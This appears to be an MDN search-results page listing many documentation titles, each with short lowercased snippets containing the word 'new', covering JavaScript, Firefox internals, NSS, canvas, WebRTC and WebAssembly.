... const promisea = new promise(myexecutorfunc); const promiseb = promisea.then(handlefulfilled1, handlerejected1); const promisec = promisea.then(handlefulfilled2, handlerejected2); an action can be assigned to an already "settled" promise.
...And 13 more matches
dev/panel - Archive of obsolete content
this module is new in firefox 34.
... for a simple walkthrough of using the dev/panel api to add a new tool, see adding a panel to the toolbox.
... basic usage defining the panel constructor to add a new tool you first need to define a constructor that inherits from the panel class, and in that constructor you need to supply values for various properties .
...And 12 more matches
Mozilla Crypto FAQ - Archive of obsolete content
in this document i try to answer some frequently asked questions about the mozilla web browser and mail/news client and its support for ssl, s/mime, and related features based on cryptographic technology.
...information in the faq also reflects the new u.s.
...shortly thereafter the nss developers began work on an open source implementation of the rsa algorithm; that code, together with code previously developed for other cryptographic algorithms, will be included in a new version 3.1 of the nss open source cryptographic and pki library.
...And 12 more matches
Client-side storage - Learn web development
new school: web storage and indexeddb the "easier" features we mentioned above are as follows: the web storage api provides a very simple syntax for storing and retrieving smaller, data items consisting of a name and a corresponding value.
... the future: cache api some modern browsers support the new cache api.
... basic syntax let's show you how: first, go to our web storage blank template on github (open this in a new tab).
...And 12 more matches
Gecko info for Windows accessibility vendors
ajax: asynchronous javascript and xml ajax is a method of building interactive web applications that process user requests, user actions immediately in real time, unlike an http request, during which users must wait for a whole page to reload or for a new page to load.
... windows applications based on the gecko layout engine gecko is a rendering engine that mozilla, netscape and other new browsers use.
...these roles can occur on content because of the new accessible dhtml technology which allows the author to specify the type of document or container.
...And 12 more matches
Python binding for NSS
all prior cvs information (including release tags) were imported into the new mercurial repositories, as such there is no need to utilize the deprecated cvs repositories, use mercurial instead.
...the solution is straight forward, use newlines as a record separator and call sock.readline() instead of sock.recv().
...new version uses temporary password file and writes hardcoded responses to the stdin of certuil and modutil.
...And 12 more matches
NSS functions
updated - function has new arguments such as new flag or addition to structure.
...uritystatus mxr 3.2 and later ssl_setmaxservercachelocks mxr 3.4 and later ssl_setpkcs11pinarg mxr 3.2 and later ssl_setsockpeerid mxr 3.2 and later ssl_seturl mxr 3.2 and later ssl_shutdownserversessionidcache mxr 3.7.4 and later deprecated ssl functions the following ssl functions have been replaced with newer versions.
... the deprecated functions are not supported by the new ssl shared libraries.
...And 12 more matches
JS_ConstructObject
the preferred alternative is to save a copy of the constructor function for the class, then to call it using js_new.
... create a new object of the specified class, with the specified prototype and parent, then invokes a constructor function to initialize the new object.
... syntax jsobject * js_constructobject(jscontext *cx, jsclass *clasp, jsobject *proto, jsobject *parent); jsobject * js_constructobjectwitharguments(jscontext *cx, jsclass *clasp, jsobject *proto, jsobject *parent, unsigned int argc, jsval *argv); name type description cx jscontext * the context in which to create the new object.
...And 12 more matches
Manipulating bookmarks using Places
initiating the bookmarks service as is the case with nearly all interfaces, before you can use the bookmarks service, you need to get access to it: var bmsvc = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); creating a bookmark folder creating a new bookmark folder is done using the nsinavbookmarksservice.createfolder() method.
... for example, to create a new folder in the bookmarks menu: var menufolder = bmsvc.bookmarksmenufolder; // bookmarks menu folder var newfolderid = bmsvc.createfolder(menufolder, "folder name here", bmsvc.default_index); this code locates the bookmarks menu's folder, then creates a new folder named "folder name here" in it.
... specifying default_index as the index at which to insert the new folder places it at the end of the list.
...And 12 more matches
nsIDBChangeListener
example here is an example implementation of the listener (that does nothing): var mylistener = { onhdrflagschanged: function(ahdrchanged, aoldflags, anewflags, ainstigator) {}, onhdrdeleted: function(ahdrchanged, aparentkey, aflags, ainstigator) {}, onhdradded: function(ahdrchanged, aparentkey, aflags, ainstigator) {}, onparentchanged: function(akeychanged, oldparent, newparent, ainstigator) {}, onannouncergoingaway: function(ainstigator) {}, onreadchanged: function(ainstigator) {}, onjunkscorechanged: function(ainstigator) {}, onhdrpropertychanged: function(ahdrtochange, aprechange, astatus, ainstigator) {}, onevent: function(adb, ae...
... access the message database: if you have a nsimsgfolder, you can do this like so: somefolder.msgdatabase.addlistener(mylistener); alternately, you can access the message database through the nsimsgdbview like so: gfolderdisplay.view.dbview.db.addlistener(mylistener); method overview void onhdrflagschanged(in nsimsgdbhdr ahdrchanged, in unsigned long aoldflags, in unsigned long anewflags, in nsidbchangelistener ainstigator); void onhdrdeleted(in nsimsgdbhdr ahdrchanged, in nsmsgkey aparentkey, in long aflags, in nsidbchangelistener ainstigator); void onhdradded(in nsimsgdbhdr ahdrchanged, in nsmsgkey aparentkey, in long aflags, in nsidbchangelistener ainstigator); void onparentchanged(in nsmsgkey akeychanged, in nsmsgkey oldparent, in nsmsgkey newp...
... void onhdrflagschanged(in nsimsgdbhdr ahdrchanged, in unsigned long aoldflags, in unsigned long anewflags, in nsidbchangelistener ainstigator); parameters ahdrchanged the nsimsgdbhdr of the message that changed.
...And 12 more matches
nsITextInputProcessor
it the composition with the last composition string, just do this: tip.commitcomposition(); when you commit composition with specific string, specify commit string with its argument: tip.commitcompositionwith("foo-bar-buzz"); when you cancel composition, just do this: tip.cancelcomposition(); when you dispatch keydown event (and one or more keypress events), just do this: var keyevent = new keyboardevent("", // type attribute value should be empty.
...var dodefault = tip.keydown(keyevent); when you dispatch keyup event, just do this: var keyevent = new keyboardevent("", { key: "a", code: "keya", keycode: keyboardevent.dom_vk_a }); var dodefault = tip.keyup(keyevent); startcomposition(), flushpendingcomposition(), commitcomposition(), commitcompositionwith(), and cancelcomposition() can take a keyboardevent which causes modifying the composition state.
...var akeyevent = new keyboardevent("", { key: "a", code: "keya", keycode: keyboardevent.dom_vk_a }); tip.flushpendingcomposition(akeyevent); // pressing shift key for next input.
...And 12 more matches
nsIXPConnect
obsolete since gecko 2.0 void getxpcwrappednativejsclassinfo(out jsequalityop equality); nsixpconnectjsobjectholder holdobject(in jscontextptr ajscontext, in jsobjectptr aobject); void initclasses(in jscontextptr ajscontext, in jsobjectptr aglobaljsobj); nsixpconnectjsobjectholder initclasseswithnewwrappedglobal(in jscontextptr ajscontext, in nsisupports acomobj, in nsiidref aiid, in nsiprincipal aprincipal, in nsisupports aextraptr, in pruint32 aflags); nsivariant jstovariant(in jscontextptr ctx, in jsval value); nsivariant jsvaltovariant(in jscontextptr cx, in jsvalptr ajsval); void movewrappers(in jscontextptr ajscontext, in jsobjectptr aoldscope, in jsobjectp...
...tr anewscope); [noscript,notxpcom] void notejscontext(in jscontextptr ajscontext, in nscctraversalcallbackref acb); void releasejscontext(in jscontextptr ajscontext, in prbool nogc); void removejsholder(in voidptr aholder); native code only!
... void reparentscopeawarewrappers(in jscontextptr ajscontext, in jsobjectptr aoldscope, in jsobjectptr anewscope); obsolete since gecko 1.9.1 nsixpconnectjsobjectholder reparentwrappednativeiffound(in jscontextptr ajscontext, in jsobjectptr ascope, in jsobjectptr anewparent, in nsisupports acomobj); void restorewrappednativeprototype(in jscontextptr ajscontext, in jsobjectptr ascope, in nsiclassinfo aclassinfo, in nsixpconnectjsobjectholder aprototype); void setdebugmodewhenpossible(in prbool mode); native code only!
...And 12 more matches
Using the Multiple Accounts API
by alec flett alecf@flett.org structure servers identities storage creating new accounts smtp servers appendix a: listing of all preferences and properties structure the account system consists of: the account manager (nsimsgaccountmanager): there is a single account manager in the the client, which maintains the list of accounts, servers, etc.
... it is also responsible for the creation of any new account-related objects.
... (you'll have to pardon the crude drawing for now) account manager +- account 1 | +- incoming server 1 (imap.mywork.com imap server, my work account) | +- identity 1 (alec flett <alecf@mywork.com>) +- account 2 | +- incoming server 2 (pop.myisp.com pop server, my isp account) | +- identity 2 (alec flett <alecf@myisp.com>) +- account 3 | +- incoming server 3 (news.myisp.com nntp server, my isp's server) | +- identity 3 (alec flett <alecfnospam@myisp.com>) +- account 4 +- incoming server 4 (news.mozilla.org nntp server, mozilla devel) +- identity 2 (alec flett <alecf@myisp.com>) +- identity 3 (alec flett <alecfnospam@myisp.com>) this is the internal structure that the mail client maintains, but it is presented to the user in a fe...
...And 12 more matches
URLs - Plugins
plug-ins can request and receive the data associated with urls of any type that the browser can handle, including http, ftp, news, mailto, and gopher.
... news (usenet news) locates usenet news groups or individual usenet articles.
... nntp (usenet news using nntp access) locates usenet news groups or individual usenet articles; alternate to news.
...And 12 more matches
DevTools API - Firefox Developer Tools
api gdevtools the gdevtools api can be used to register new tools, themes and handle toolboxes for different tabs and windows.
... to use the gdevtools api from an add-on, it can be imported with following snippet const { gdevtools } = require("resource:///modules/devtools/gdevtools.jsm"); methods registertool(tooldefinition) registers a new tool and adds a tab to each existing toolbox.
... registertheme(themedefinition) registers a new theme.
...And 12 more matches
Web Console remoting - Firefox Developer Tools
the new web console actors are: the webconsoleactor allows js evaluation, autocomplete, start/stop listeners, etc.
... the networkeventactor is used for each new network request.
... the onattachconsole callback receives a new instance of the webconsoleclient object.
...And 12 more matches
Basic animations - Web APIs
restore the canvas state if you've saved the state, restore it before drawing a new frame.
... var sun = new image(); var moon = new image(); var earth = new image(); function init() { sun.src = 'https://mdn.mozillademos.org/files/1456/canvas_sun.png'; moon.src = 'https://mdn.mozillademos.org/files/1443/canvas_moon.png'; earth.src = 'https://mdn.mozillademos.org/files/1429/canvas_earth.png'; window.requestanimationframe(draw); } function draw() { var ctx = document.getelementbyid('canvas').ge...
...tcontext('2d'); ctx.globalcompositeoperation = 'destination-over'; ctx.clearrect(0, 0, 300, 300); // clear canvas ctx.fillstyle = 'rgba(0, 0, 0, 0.4)'; ctx.strokestyle = 'rgba(0, 153, 255, 0.4)'; ctx.save(); ctx.translate(150, 150); // earth var time = new date(); ctx.rotate(((2 * math.pi) / 60) * time.getseconds() + ((2 * math.pi) / 60000) * time.getmilliseconds()); ctx.translate(105, 0); ctx.fillrect(0, -12, 40, 24); // shadow ctx.drawimage(earth, -12, -12); // moon ctx.save(); ctx.rotate(((2 * math.pi) / 6) * time.getseconds() + ((2 * math.pi) / 6000) * time.getmilliseconds()); ctx.translate(0, 28.5); ctx.drawimage(moon, -3.5, -3.5); ctx.restore(); ctx.restore(); ctx.beginpath(); ctx.arc(150, 150, 105, 0, math.pi * 2, false); // earth orbit ...
...And 12 more matches
Movement, orientation, and motion: A WebXR example - Web APIs
lick", onxrbuttonclick); projectionmatrixout = document.queryselector("#projection-matrix div"); modelmatrixout = document.queryselector("#model-view-matrix div"); cameramatrixout = document.queryselector("#camera-matrix div"); mousematrixout = document.queryselector("#mouse-matrix div"); if (!navigator.xr || enableforcepolyfill) { console.log("using the polyfill"); polyfill = new webxrpolyfill(); } setupxrbutton(); } the load event handler gets a reference to the button that toggles webxr on and off into xrbutton, then adds a handler for click events.
...(shaderprogram, 'umodelviewmatrix'), normalmatrix: gl.getuniformlocation(shaderprogram, 'unormalmatrix'), usampler: gl.getuniformlocation(shaderprogram, 'usampler') }, }; buffers = initbuffers(gl); texture = loadtexture(gl, 'https://cdn.glitch.com/a9381af1-18a9-495e-ad01-afddfd15d000%2ffirefox-logo-solid.png?v=1575659351244'); xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl) }); if (session_type == "immersive-vr") { refspacetype = "local"; } else { refspacetype = "viewer"; } mat4.fromtranslation(cubematrix, viewerstartposition); vec3.copy(cubeorientation, viewerstartorientation); xrsession.requestreferencespace(refspacetype) .then((refspace) => { xrreferencespace = refspace.getoffsetreferencespace( ...
... new xrrigidtransform(viewerstartposition, cubeorientation)); animationframerequestid = xrsession.requestanimationframe(drawframe); }); return xrsession; } after storing the newly-created xrsession object into xrsession, the label of the button is set to "exit webxr" to indicate its new function after starting the scene, and a handler is installed for the end event, so we get notified when the xrsession ends.
...And 12 more matches
Web Authentication API - Web APIs
many websites already have pages that allow users to register new accounts or sign in to an existing account, and the web authentication api acts as a replacement or supplement to those on those existing webpages.
... similar to the other forms of the credential management api, the web authentication api has two basic methods that correspond to register and login: navigator.credentials.create() - when used with the publickey option, creates new credentials, either for registering a new account or for associating a new asymmetric key pair credentials with an existing account.
... in order to understand how the create() and get() methods fit into the bigger picture, it is important to understand that they sit between two components that are outside the browser: server - the web authentication api is intended to register new credentials on a server (also referred to as a service or a relying party) and later use those same credentials on that same server to authenticate a user.
...And 12 more matches
Functions - JavaScript
in the case of a constructor called with the new keyword, the default value is the value of its this parameter.
...however, object references are values, too, and they are special: if the function changes the referred object's properties, that change is visible outside the function, as shown in the following example: /* declare the function 'myfunc' */ function myfunc(theobject) { theobject.brand = "toyota"; } /* * declare variable 'mycar'; * create and initialize a new object; * assign reference to it to 'mycar' */ var mycar = { brand: "honda", model: "accord", year: 1998 }; /* logs 'honda' */ console.log(mycar.brand); /* pass object reference to the function */ myfunc(mycar); /* * logs 'toyota' as the value of the 'brand' property * of the object, as changed to by the function.
... as all other objects, function objects can be created using the new operator: new function (arg1, arg2, ...
...And 12 more matches
How to convert an overlay extension to restartless - Archive of obsolete content
however, because it was implemented first for only file:// and resource:// but not chrome://, everyone who learned of this new feature learned that you had to load jsm from resource:// uris and just stuck with that forever.
... step 2a: load your jsm from chrome:// now with that preface out of the way, this part is easy: drop support for firefox 3.x if you haven't already, move your jsm files to wherever you've got your chrome mapping to for your xul overlay and/or windows, import your files from that new chrome mapped path instead of the old resource one, and remove your "resource" line from your chrome.manifest file.
... how to get and load the data of of your add-on's files using the add-on manager api: // this is the old way of getting one of your files const myaddonid = ...; // just store a constant with your id components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getaddonbyid(myaddonid,function(addon) { var file = services.io.newuri("resource://myaddon/filename.ext",null,null) .queryinterface(components.interfaces.nsifileurl) .file; var stream = components.classes["@mozilla.org/network/file-input-stream;1"] .createinstance(components.interfaces.nsifileinputstream) .queryinterface(components.interfaces.nsiseekables...
...And 11 more matches
Tabbed browser - Archive of obsolete content
can use: window.opener.gbrowser.addtab(...); if window.opener doesn't work, you can get the most recent browser window using this code: var wm = components.classes["@mozilla.org/appshell/window-mediator;1"] .getservice(components.interfaces.nsiwindowmediator); var mainwindow = wm.getmostrecentwindow("navigator:browser"); mainwindow.gbrowser.addtab(...); opening a url in a new tab // add tab gbrowser.addtab("http://www.google.com/"); // add tab, then make active gbrowser.selectedtab = gbrowser.addtab("http://www.google.com/"); manipulating content of a new tab if you want to work on the content of the newly opened tab, you'll need to wait until the content has finished loading.
... // wrong way (the page hasn't finished loading yet) var newtabbrowser = gbrowser.getbrowserfortab(gbrowser.addtab("http://www.google.com/")); alert(newtabbrowser.contentdocument.body.innerhtml); // better way var newtabbrowser = gbrowser.getbrowserfortab(gbrowser.addtab("http://www.google.com/")); newtabbrowser.addeventlistener("load", function () { newtabbrowser.contentdocument.body.innerhtml = "<div>hello world</div>"; }, true); (the event target in the onload handler will be a 'tab' xul element).
... openuilinkin( url, where, allowthirdpartyfixup, postdata, referrerurl ) where: "current" current tab (if there aren't any browser windows, then in a new window instead) "tab" new tab (if there aren't any browser windows, then in a new window instead) "tabshifted" same as "tab" but in background if default is to select new tabs, and vice versa "window" new window "save" save to disk (with no filename hint!) openuilink( url, e, ignorebutton, ignorealt, allowkeywordfixup, postdata, referrerurl ) the following code will open a url ...
...And 11 more matches
MMgc - Archive of obsolete content
memory can be allocated with the new operator, and must be explicitly deleted in your c++ code at some later time using the delete operator.
... another way to think about it: unmanaged memory is c++ operators new and delete managed memory is c++ operator new, with optional delete mmgc contains a page allocator called gcheap, which allocates large blocks (megabytes) of memory from the system and doles out 4kb pages to the unmanaged memory allocator (fixedmalloc) and the managed memory allocator (gc).
...the gc typically is constructed early in your program's initialization, and then passed to operations like operator new for allocating gc objects.
...And 11 more matches
Template Logging - Archive of obsolete content
the first debugging method involves logging all new results that apply to the template due to the data changing as well as logging results that are changed or removed.
...each result is logged in a form much like the following: in template with id root using ref http://www.some-fictitious-zoo.com/birds new active result for query 2 matching rule 1: http://www.some-fictitious-zoo.com/birds/emperorpenguin in the example above, a new result has been added.
...the second line gives details about the new result.
...And 11 more matches
Building up a basic demo with Three.js - Game development
before reading further, copy this code to a new text file, and save it in your working directory as index.html.
... var renderer = new three.webglrenderer({antialias:true}); renderer.setsize(width, height); renderer.setclearcolor(0xdddddd, 1); document.body.appendchild(renderer.domelement); we are creating a new webgl renderer, setting its size to fit the whole available space on the screen, and appending the dom structure to the page.
...when creating new objects in the demo, we add them all inside the scene to become visible on the screen.
...And 11 more matches
Componentizing our Svelte app - Learn web development
other people apply the same techniques used for deciding if you should create a new function or object.
... newtodo.svelte: the text input and button that allow you to enter a new todo item.
... first of all, create a new file — components/filterbutton.svelte.
...And 11 more matches
Handling common JavaScript problems - Learn web development
when developers make use of new/nascent javascript features (for example ecmascript 6 / ecmascript next features, modern web apis...) in their code, and find that such features don't work in older browsers.
...this is supposed to be fetched from an external .json file using the following xmlhttprequest call: let requesturl = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'; let request = new xmlhttprequest(); request.open('get', requesturl); request.send(); let superheroes = request.response; populateheader(superheroes); showheroes(superheroes); but this fails.
...some of these are syntactic sugar (basically an easier, nicer way of writing what you can already do using existing features), and some offer interesting new possibilities.
...And 11 more matches
Mozilla accessibility architecture
method which traverses dom & anonymous content → nsiaccessibilityservice::getaccessible() with the content node → nsdocaccessible::getcachedaccessnode() and returns if successful, or → nsiaccessibleprovider::getaccessible() (if xul) or → nsiframe::getaccessible() (if html), which either return nothing or → nsiaccessibilityservice::create[inserttypenamehere]accessible() → operator new, which finally constructs the object.
... whether via nsiaccessibleprovider::getaccessible() or nsiframe::getaccessible(), new accessibles are created by calling back to the accessibility service, and using a specific method for creating each type of accessible.
... for example, nshtmltablecellframe::getaccessible() will eventually call nsiaccessibilityservice::createhtmltablecellaccessible(), which uses |new nshtmltablecellaccessible(domnode, weakpresshell); special exception: traversal overloading in some cases the necessary accessible children are not in the dom subtree for a node.
...And 11 more matches
Application Translation with Mercurial
thunderbird and tb-* denote branches of thunderbird, the mail client, newsgroup and feed reader and chat client.
... file comparison program for the translation, it is recommend to use file comparison program to compare the english file (containing the new texts) with the file of your locale (which is still missing the new strings).
...because the file is new and everything has to be translated, the file is too customized to compare it to the english one, or special functionality is required (e.g.
...And 11 more matches
NSPR Contributor Guide
abstract: nspr accepts contributions in the form of bugfixes, new features, libraries, platform ports, documentation, test cases and other items from many sources.
...should you need to have a similar api, with some slightly different behavior or different function prototype, then suggest a new api with a different name.
... new features for purposes of this paper, a "new feature" is defined as some api addition that goes into the core nspr library, for example: libnspr4.dll nspr is mostly complete.
...And 11 more matches
NSS_3.12_release_notes.html
nss 3.12 release notes 17 june 2008 newsgroup: mozilla.dev.tech.crypto contents introduction distribution information new in nss 3.12 bugs fixed documentation compatibility feedback introduction network security services (nss) 3.12 is a minor release with the following new features: sqlite-based shareable certificate and key databases libpkix: an rfc 3280 compliant certificate path validation library camellia cipher support tls session ticket extension (rfc 5077) nss 3.12 is tri-licensed under the mpl 1.1/gpl 2.0/lgpl 2.1.
... note: firefox 3 uses nss 3.12, but not the new sqlite-based shareable certificate and key databases.
...nss 3.12 libraries have the following versions: sqlite3: 3.3.17 nssckbi: 1.70 softokn3 and freebl3: 3.12.0.3 other nss libraries: 3.12.0.3 new in nss 3.12 3 new shared library are shipped with nss 3.12: nssutil sqlite nssdbm 1 new include file is shipped with nss3.12: utilrename.h new functions in the nss shared library: cert_checknamespace (see cert.h) cert_encodecertpoliciesextension (see cert.h) cert_encodeinfoaccessextension (see cert.h) cert_encodeinhibitanyextension (see cert.h) cert_encodenoticereference (see cert.h) cer...
...And 11 more matches
WebIDL bindings
note that if you're adding new interfaces, then the test at dom/tests/mochitest/general/test_interfaces.html will most likely fail.
... add external interface entries to bindings.conf for whatever non-webidl interfaces your new interface has as arguments or return values.
...you will need to flag the functions that return your object as [newobject] in the webidl.
...And 11 more matches
Applying styles and colors - Web APIs
note: when you set the strokestyle and/or fillstyle property, the new value becomes the default for all shapes being drawn from then on.
... linewidth = value sets the width of lines drawn in the future.
... a linewidth example this property sets the current line thickness.
...And 11 more matches
Document - Web APIs
WebAPIDocument
it provides functionality globally to the document, like how to obtain the page's url and create new elements in the document.
... constructor document() creates a new document object.
... globaleventhandlers.onanimationiteration an eventhandler called when an animationiteration event has been sent, indicating that a css animation has begun playing a new iteration of the animation sequence.
...And 11 more matches
RTCPeerConnection - Web APIs
eight="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="236" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">rtcpeerconnection</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructorrtcpeerconnection() the rtcpeerconnection() constructor returns a newly-created rtcpeerconnection, which represents a connection between the local device and a remote peer.propertiesalso inherits properties from: eventtargetcantrickleicecandidatesthe read-only rtcpeerconnection property cantrickleicecandidates returns a boolean which indicates whether or not the remote peer can accept trickled ice candidates.connectionstate the read-only connectionstate property o...
...d when the signalingstatechange event occurs on an rtcpeerconnection interface.ontrack the rtcpeerconnection property ontrack is an eventhandler which specifies a function to be called when the track event occurs, indicating that a track has been added to the rtcpeerconnection.methodsalso inherits methods from: eventtargetaddicecandidate()when a web site or app using rtcpeerconnection receives a new ice candidate from the remote peer over its signaling channel, it delivers the newly-received candidate to the browser's ice agent by calling rtcpeerconnection.addicecandidate().addstream() the obsolete rtcpeerconnection method addstream() adds a mediastream as a local source of audio or video.
... instead of using this obsolete method, you should instead use addtrack() once for each track you wish to send to the remote peer.addtrack()the rtcpeerconnection method addtrack() adds a new media track to the set of tracks which will be transmitted to the other peer.close() the rtcpeerconnection.close() method closes the current peer connection.createanswer() the createanswer() method on the rtcpeerconnection interface creates an sdp answer to an offer received from a remote peer during the offer/answer negotiation of a webrtc connection.
...And 11 more matches
<nextid>: The NeXT ID element (Obsolete) - HTML: Hypertext Markup Language
WebHTMLElementnextid
html "0.c" - from january 23, 1991 though november 23, 1992 this early version of html introduced <nextid> in a non-sgml compliant form that simply used the numeric value alone as an "attribute." html "0.d" - from november 26, 1992 through may 24, 1993 during this span, next and the oldest surviving dtd's show <nextid> to take only a number for a value of its newly-introduced attribute n.
...they want to add a couple new sections after the second section, appending four more sections at the end.
... when opening the document, the next editor finds and reads this <nextid n="z8"> tag, and now knows to give the first of these new sections the name of z8 in the table of contents, and z14 to the content body.
...And 11 more matches
Using Promises - JavaScript
here's the magic: the then() function returns a new promise, different from the original: const promise = dosomething(); const promise2 = promise.then(successcallback, failurecallback); or const promise2 = dosomething().then(successcallback, failurecallback); this second promise (promise2) represents the completion not just of dosomething(), but also of the successcallback or failurecallback you passed in, which can be other asynchronous fun...
... in the old days, doing several asynchronous operations in a row would lead to the classic callback pyramid of doom: dosomething(function(result) { dosomethingelse(result, function(newresult) { dothirdthing(newresult, function(finalresult) { console.log('got the final result: ' + finalresult); }, failurecallback); }, failurecallback); }, failurecallback); with modern functions, we attach our callbacks to the returned promises instead, forming a promise chain: dosomething() .then(function(result) { return dosomethingelse(result); }) .then(function(newresult)...
... { return dothirdthing(newresult); }) .then(function(finalresult) { console.log('got the final result: ' + finalresult); }) .catch(failurecallback); the arguments to then are optional, and catch(failurecallback) is short for then(null, failurecallback).
...And 11 more matches
Array - JavaScript
common operations create an array let fruits = ['apple', 'banana'] console.log(fruits.length) // 2 access an array item using the index position let first = fruits[0] // apple let last = fruits[fruits.length - 1] // banana loop over an array fruits.foreach(function(item, index, array) { console.log(item, index) }) // apple 0 // banana 1 add an item to the end of an array let newlength = fruits.push('orange') // ["apple", "banana", "orange"] remove an item from the end of an array let last = fruits.pop() // remove orange (from the end) // ["apple", "banana"] remove an item from the beginning of an array let first = fruits.shift() // remove apple from the front // ["banana"] add an item to the beginning of an array let newlength = fruits.unshift('strawberry') // a...
... [1]: "bb" [2]: "d" constructor array() creates a new array object.
... static methods array.from() creates a new array instance from an array-like or iterable object.
...And 11 more matches
Object.create() - JavaScript
the object.create() method creates a new object, using an existing object as the prototype of the newly created object.
... syntax object.create(proto, [propertiesobject]) parameters proto the object which should be the prototype of the newly-created object.
... propertiesobject optional if specified and not undefined, an object whose enumerable own properties (that is, those properties defined upon itself and not enumerable properties along its prototype chain) specify property descriptors to be added to the newly-created object, with the corresponding property names.
...And 11 more matches
Understanding WebAssembly text format - WebAssembly
to create an equivalent value using javascript, you'd use the webassembly.global() constructor: const global = new webassembly.global({value: "i32", mutable: true}, 0); webassembly memory the above example is a pretty terrible logging function: it only prints a single integer!
...to deal with strings and other more complex data types, webassembly provides memory (although we also have reference types in newer implementation of webassembly).
...when growth occurs, since arraybuffers can’t change size, the current arraybuffer is detached and a new arraybuffer is created to point to the newer, bigger memory.
...And 11 more matches
Using the WebAssembly JavaScript API - WebAssembly
grab our simple.wasm file and save a copy in a new directory on your local machine.
...create a <script></script> element in your html file, and add the following code to it: var importobject = { imports: { imported_func: arg => console.log(arg) } }; streaming the webassembly module new in firefox 58 is the ability to compile and instantiate webassembly modules directly from underlying sources.
...in addition, newer implementations can also create shared memories, which can be transferred between window and worker contexts using postmessage(), and used in multiple places.
...And 11 more matches
Space Manager Detailed Design - Archive of obsolete content
*/ class nsspacemanager { public: nsspacemanager(nsipresshell* apresshell, nsiframe* aframe); ~nsspacemanager(); void* operator new(size_t asize); void operator delete(void* aptr, size_t asize); static void shutdown(); /* * get the frame that's associated with the space manager.
...this * creates a new local coordinate space relative to the current * coordinate space.
...link(this);} bandrect* prev() const {return (bandrect*)pr_prev_link(this);} void insertbefore(bandrect* abandrect) {pr_insert_before(abandrect, this);} void insertafter(bandrect* abandrect) {pr_insert_after(abandrect, this);} void remove() {pr_remove_link(this);} // split the band rect into two vertically, with this band rect becoming // the top part, and a new band rect being allocated and returned for the // bottom part // // does not insert the new band rect into the linked list bandrect* splitvertically(nscoord abottom); // split the band rect into two horizontally, with this band rect becoming // the left part, and a new band rect being allocated and returned for the // right part // // does not insert the new b...
...And 10 more matches
The Implementation of the Application Object Model - Archive of obsolete content
a site admin could add new bookmarks to the file, and then the user would pick them up.
...it does not make sense to confuse or obscure the purpose of html by adding in a whole slew of new functionality that hasnothing to do with the display of web pages.
...if we ship a browser that does not have 100% support for css2, for example, but we've extended html by adding 20-30 new tags, people are going to put down their blinders and see only the fact that we were off adding a whole slew of new stuff to html when we could have been firming up our standards story.
...And 10 more matches
tabbrowser - Archive of obsolete content
attributes autocompleteenabled, autocompletepopup, autoscroll, contentcontextmenu, contenttooltip, handlectrlpageupdown, onbookmarkgroup, onnewtab, tabmodalpromptshowing properties browsers, cangoback, cangoforward, contentdocument, contenttitle, contentvieweredit, contentviewerfile, contentwindow, currenturi, docshell, documentcharsetinfo, homepage, markupdocumentviewer, securityui, selectedbrowser, selectedtab, sessionhistory, tabcontainer, tabs, visibletabs, webbrowserfind, webnavigation, webprogress methods addprogresslistener, a...
... onnewtab not in firefox type: script code this script will be called when the new tab button is clicked.
...}) return type: tab element opens a new tab that loads a page with the specified url.
...And 10 more matches
Reference - Archive of obsolete content
well if you combine the two, you can have inherited private variables: function myclass(){ var property = 5; this.tellme = function(){ return property; } } function myotherclass(){ myclass.apply( this ); } var o = new myotherclass; alert( o.tellme() ); //alerts 5 as you'd expect — the preceding comment was added by psygnisfive (talk – contribs) on 22:23, 4 december 2006 terminology we need a terminology appendix.
...--maian 23:43, 21 september 2005 (pdt) i think we need a new section in the reference that specifies the differences between versions, collecting this information into a single location rather than leaving it scattered haphazardly throughout the reference as it currently is.
...see new_in_javascript_1.7#using_javascript_1.7.
...And 10 more matches
Building up a basic demo with PlayCanvas editor - Game development
creating a new project start a brand new project by clicking on the new button: the resulting dialog box will show a few different options.
...even though it's a blank new project we don't have to start entirely from scratch — the camera and directional light are prepared already, so you don't have to worry about them.
...you can drag it around or apply new values in the right panel.
...And 10 more matches
Building up a basic demo with the PlayCanvas engine - Game development
before reading on, copy this code to a new text file and save it in your working directory as index.html.
...add the following code to the bottom of your second <script> element: var app = new pc.application(canvas); app.start(); the pc global object contains all the playcanvas functions available in the engine.
... var camera = new pc.entity(); camera.addcomponent("camera", { clearcolor: new pc.color(0.8, 0.8, 0.8) }); app.root.addchild(camera); camera.setposition(0, 0, 7); the code above will create a new entity.
...And 10 more matches
What is JavaScript? - Learn web development
rgba(0,0,200,0.3); color: rgba(0,0,200,0.6); box-shadow: 1px 1px 2px rgba(0,0,200,0.4); border-radius: 10px; padding: 3px 10px; display: inline-block; cursor: pointer; } and finally, we can add some javascript to implement dynamic behaviour: const para = document.queryselector('p'); para.addeventlistener('click', updatename); function updatename() { let name = prompt('enter a new name'); para.textcontent = 'player 1: ' + name; } try clicking on this last version of the text label to see what happens (note also that you can find this demo on github — see the source code, or run it live)!
...in the above example for instance, we ask for a new name to be entered then store that name in a variable called name.
...for example: the dom (document object model) api allows you to manipulate html and css, creating, removing and changing html, dynamically applying new styles to your page, etc.
...And 10 more matches
Object-oriented JavaScript for beginners - Learn web development
in oop, we can create new classes based on other classes — these new child classes can be made to inherit the data and code features of their parent class, so you can reuse functionality common to all the object types rather than having to duplicate it.
...first of all, we'd like you to make a new local copy of the oojs.html file we saw in our first objects article.
...add this function within the script element: function createnewperson(name) { const obj = {}; obj.name = name; obj.greeting = function() { alert('hi!
...And 10 more matches
Object prototypes - Learn web development
objective: to understand javascript object prototypes, how prototype chains work, and how to add new methods onto the prototype property.
...that is, object.getprototypeof(new foobar()) refers to the same object as foobar.prototype.
... in this example, we have defined a constructor function, like so: function person(first, last, age, gender, interests) { // property and method definitions this.name = { 'first': first, 'last' : last }; this.age = age; this.gender = gender; //...see link in summary above for full definition } we have then created an object instance like this: let person1 = new person('bob', 'smith', 32, 'male', ['music', 'skiing']); if you type "person1." into your javascript console, you should see the browser try to auto-complete this with the member names available on this object: in this list, you will see the members defined on person1's constructor — person() — name, age, gender, interests, bio, and greeting.
...And 10 more matches
Introduction to client-side frameworks - Learn web development
